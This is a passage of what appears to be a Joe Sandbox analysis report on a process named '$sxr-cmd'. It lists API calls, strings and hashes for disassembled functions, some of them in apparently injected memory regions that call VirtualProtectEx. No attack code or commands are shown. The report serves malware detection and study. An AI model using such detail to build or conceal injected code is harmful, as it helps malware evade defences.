DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615512B0F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorFileLast$DeleteRead_get_osfhandle
String ID:
API String ID: 3588551418-0
Opcode ID: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction ID: 7718d184248390872431a5ac4b4b74619e90aeb218cf85a6950effa8b56d578e
Opcode Fuzzy Hash: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
Instruction Fuzzy Hash: F5416F79A08A428BE7549F15A49027DF761EF85FA1F14403AD64EC77A1CF3CEC408780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551E558 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61551E5AD
memset.MSVCRT ref: 00007FF61551E5D2

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

_wcsicmp.MSVCRT ref: 00007FF61551E6A0
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61551E6CB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF61551E6EB

Part of subcall function 00007FF615503060: SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF6154F92AC), ref: 00007FF6155030CA
Part of subcall function 00007FF615503060: SetErrorMode.KERNELBASE ref: 00007FF6155030DD
Part of subcall function 00007FF615503060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6155030F6
Part of subcall function 00007FF615503060: SetErrorMode.KERNELBASE ref: 00007FF615503106

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorModememset$FullNamePath_wcsicmp
String ID:
API String ID: 2123716050-0
Opcode ID: 33d1f1addd1234cebd96803971f963ad7e2cc1408ae37093ec207d02c7820e71
Instruction ID: 2ea282085da4ecf76a9724d055da6f56cf404363a66b57373bb8128daac7b012
Opcode Fuzzy Hash: 33d1f1addd1234cebd96803971f963ad7e2cc1408ae37093ec207d02c7820e71
Instruction Fuzzy Hash: 9D419536705BC18AEB718F25D8903E9A7A4FB49F9CF444135DA4D8AAA9DF3CD6448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F65F8 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

RoInitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF6154F6627
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF6154F6642

Part of subcall function 00007FF615505A68: _get_osfhandle.MSVCRT ref: 00007FF615505A89
Part of subcall function 00007FF615505A68: SetConsoleMode.KERNELBASE ref: 00007FF615505A9E
Part of subcall function 00007FF615505A68: _get_osfhandle.MSVCRT ref: 00007FF615505AAC

memset.MSVCRT ref: 00007FF6154F6697
GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF6154F66B0
RoUninitialize.API-MS-WIN-CORE-WINRT-L1-1-0 ref: 00007FF6154F670C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$Window_get_osfhandle$InitializeModeUninitializememset
String ID:
API String ID: 3114114779-0
Opcode ID: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
Instruction ID: 0a10b3110482f6df5d8d8b000d71f84899aeb7c0a0de8e124679bc8ed9f3c66d
Opcode Fuzzy Hash: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
Instruction Fuzzy Hash: 9041F736A05E42CAEB00CF79D4802ACBBA5FB88F58F554136DA0D93B64DF38E9568750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551A73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A77A
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A7AF
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A80E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A839
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF615519A82), ref: 00007FF61551A850

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: QueryValue$CloseErrorLastOpen
String ID:
API String ID: 2240656346-0
Opcode ID: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
Instruction ID: 0ae3cc092ae08aaeb107d338dacee4f518e117ef9645092a324e52652b4687ed
Opcode Fuzzy Hash: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
Instruction Fuzzy Hash: 24318B3AA18E4192E7118F24E480569FBF5FB89FA0F554035EA4E82764DF3CDC41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551D0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155001B8: _get_osfhandle.MSVCRT ref: 00007FF6155001C4
Part of subcall function 00007FF6155001B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF6155001D6

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61551D0F9
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF61551D10F
ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF61551D166
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF61551D17A
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF61551D18C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
String ID:
API String ID: 3008996577-0
Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction ID: 57d24f8bc0841c36b5d9bba1c6af11819cfd99d1ee2735a16d4e4e464ff49653
Opcode Fuzzy Hash: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
Instruction Fuzzy Hash: FA215C2AB14A41CAE7009B71E8400BDB7B0FB8DF65B445125DE4D93B69EF38D441CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B601358 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000020D0B601380
_set_statfp.LIBCMT ref: 0000020D0B60139B
_set_statfp.LIBCMT ref: 0000020D0B6013B7
_set_statfp.LIBCMT ref: 0000020D0B6013F3

Memory Dump Source

Source File: 00000010.00000002.2907026637.0000020D0B5F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000020D0B5F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b5f0000_$sxr-cmd.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 505527e6e766f6252cc75d56a5348e578c7830a1af3cc1d60b9eeb1fb2835866
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 62119422A7DB0201F65C11E7D45D36F10A3AB57374EC40624BAFF2EED7BA2649415200

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B631F58 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000020D0B631F80
_set_statfp.LIBCMT ref: 0000020D0B631F9B
_set_statfp.LIBCMT ref: 0000020D0B631FB7
_set_statfp.LIBCMT ref: 0000020D0B631FF3

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: abd8314576678b675f38856d93150327ec156046a275fb1cc8adf56ad844f934
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: DE11C422A0DB0103F658A1E5D45D36540F36F67B70E940638EA7E2F2D7AB1B4D814200

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B623910 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000020D0B623923
GetCurrentProcess.KERNEL32 ref: 0000020D0B623956
VirtualProtectEx.KERNEL32 ref: 0000020D0B623976
GetCurrentProcess.KERNEL32 ref: 0000020D0B62398F
VirtualProtectEx.KERNEL32 ref: 0000020D0B6239B0

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: 22be293b0064e3789735749459075c394cc6aa00c845e6bca34463c908d19b7d
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: A6114236A0AB4087FB24CB92E44965977B2F745B90F844125DE4D0B795FF3EC544C744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615505CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF61551C9EE,?,?,?,00007FF61551EA6C,?,?,?,00007FF61551E925), ref: 00007FF615505CCB
GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00007FF61551C9EE,?,?,?,00007FF61551EA6C,?,?,?,00007FF61551E925), ref: 00007FF615505CDF
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF615505D03
fprintf.MSVCRT ref: 00007FF61550F4A9
fflush.MSVCRT ref: 00007FF61550F4C2

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
String ID:
API String ID: 1826527819-0
Opcode ID: 9b0532f4637facb70c38994ad755a75d253ca2745f37b53511dc5f2b70e91ec1
Instruction ID: a1453f606d52e435482f1155f137b5ec07cad069f7685769ac378f9a1e65ecba
Opcode Fuzzy Hash: 9b0532f4637facb70c38994ad755a75d253ca2745f37b53511dc5f2b70e91ec1
Instruction Fuzzy Hash: 35012D39908E82CAE6045B25E4452B9FF60FF8AF65F455135E94F873B6CF3C98848B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615515770 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF615515874
CreateSemaphoreExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF61551595E

Strings

wil, xrefs: 00007FF6155158A8, 00007FF615515993
_p0, xrefs: 00007FF615515811

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CreateSemaphore
String ID: _p0$wil
API String ID: 1078844751-1814513734
Opcode ID: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction ID: 3b8547038da9c36ea2fcbf3eb56670bacf9b83c02ad24d6886184bb7d7b5d583
Opcode Fuzzy Hash: f755fc07889d6bdabc5bc906762bcb13605c747dc28133a8421b38486d33263f
Instruction Fuzzy Hash: 7551EA69B19F4286EE618F2494D46B9E6B0EF84FA8F584435DA0E877A1DF3CDD05CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B5F8595 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000020D0B5F85A3
_IsNonwritableInCurrentImage.LIBCMT ref: 0000020D0B5F8638

Strings

csm, xrefs: 0000020D0B5F861E
f, xrefs: 0000020D0B5F85B6

Memory Dump Source

Source File: 00000010.00000002.2907026637.0000020D0B5F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000020D0B5F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b5f0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction ID: 64ef111a82d18d7279379f6b3c5cab9f2b6be29086430d43ec5c4d949642dd2f
Opcode Fuzzy Hash: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction Fuzzy Hash: 3351913671B702CAEF54CB96D80CB1DBBA7F350BA8F508160DA5A47B8AFB75D8418700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551B89C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

RtlCreateUnicodeStringFromAsciiz.NTDLL ref: 00007FF61551B934
GlobalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF615505085), ref: 00007FF61551B9A5
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF615505085), ref: 00007FF61551B9F7

Strings

%WINDOWS_COPYRIGHT%, xrefs: 00007FF61551B912

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Global$AllocAsciizCreateFreeFromStringUnicode
String ID: %WINDOWS_COPYRIGHT%
API String ID: 1103618819-1745581171
Opcode ID: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction ID: a86fb06366670937666b6bc84517d0a89c60fe8f6da74958b5eaa7b28eb10668
Opcode Fuzzy Hash: 16d2b5de7a39f60598d54afa282db4830b4e4e1db5eb0a36e09c541776fa7494
Instruction Fuzzy Hash: 8C41846A908E85C2EA108F159450279B7B0FB49FB4F455235DA4E837A5EF3CE946C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615520774 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6155207DA

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

_wcslwr.MSVCRT ref: 00007FF61552085B
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6155208A9

Strings

[%s], xrefs: 00007FF61552080F

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$_wcslwr
String ID: [%s]
API String ID: 886762496-302437576
Opcode ID: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
Instruction ID: 109c9b2e06963d2ea216c01bbe4748be2286a270d7f004293388043172978270
Opcode Fuzzy Hash: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
Instruction Fuzzy Hash: AC317A36705B8685EB21CF25D8903E9A7A0FB89F98F454136DE8D8BB65DF3CDA458300

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B5F8578 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000020D0B5F85A3
_IsNonwritableInCurrentImage.LIBCMT ref: 0000020D0B5F8638

Strings

csm, xrefs: 0000020D0B5F861E
f, xrefs: 0000020D0B5F85B6

Memory Dump Source

Source File: 00000010.00000002.2907026637.0000020D0B5F0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000020D0B5F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b5f0000_$sxr-cmd.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction ID: 59738324d63b246577fe5d39c241a73e1a3c835c3f00ea82d4607fe070961c4e
Opcode Fuzzy Hash: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction Fuzzy Hash: 0E31B03121A741D6EB14DF93EC4C71D7B76F750BA8F448154AE9A0BB86EB39C941CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6155032E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6155033A8: iswspace.MSVCRT ref: 00007FF6155033C0

iswspace.MSVCRT ref: 00007FF61550331C

Strings

off, xrefs: 00007FF615503386

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswspace
String ID: off
API String ID: 2389812497-733764931
Opcode ID: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction ID: 7abea5cac25031e77521ca658650804c4a67e4df32daec49b0cd828591c3ec74
Opcode Fuzzy Hash: 23619b9e270ea0a6abcdd2ffa6124d8d0217e46963fde130039e410627268166
Instruction Fuzzy Hash: F021B329E0CE42C5FA645B1994912BEE6A0EF45FB4F5A8036D90EC76A2DF2CEC40D301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615519308 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00007FF615519350

Part of subcall function 00007FF6155009F4: iswspace.MSVCRT ref: 00007FF615500A11
Part of subcall function 00007FF6155009F4: wcschr.MSVCRT ref: 00007FF615500A2B

Part of subcall function 00007FF6154FD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
Part of subcall function 00007FF6154FD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD4EE
Part of subcall function 00007FF6154FD3F0: iswspace.MSVCRT ref: 00007FF6154FD54D
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD569
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD58C

Strings

DPATH, xrefs: 00007FF615519361, 00007FF61551939F
%s=%s, xrefs: 00007FF6155193C0
PATH, xrefs: 00007FF615519371, 00007FF6155193AA

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: %s=%s$DPATH$PATH
API String ID: 3731854180-3148396303
Opcode ID: 9406f8792d83d27cffe1043455a016030c7c7ce927c3ef70dd555152c69d15e2
Instruction ID: 33c9a7e0eb1f2193c4ed95e7c673ad97ad8220ca4d3f8872b54ce651227024ee
Opcode Fuzzy Hash: 9406f8792d83d27cffe1043455a016030c7c7ce927c3ef70dd555152c69d15e2
Instruction Fuzzy Hash: 8D214C29B09E56C1EE549F65E4802B9AAB0AF84FA4F884136DD4EC73B5DF2CED408740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615508198 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs
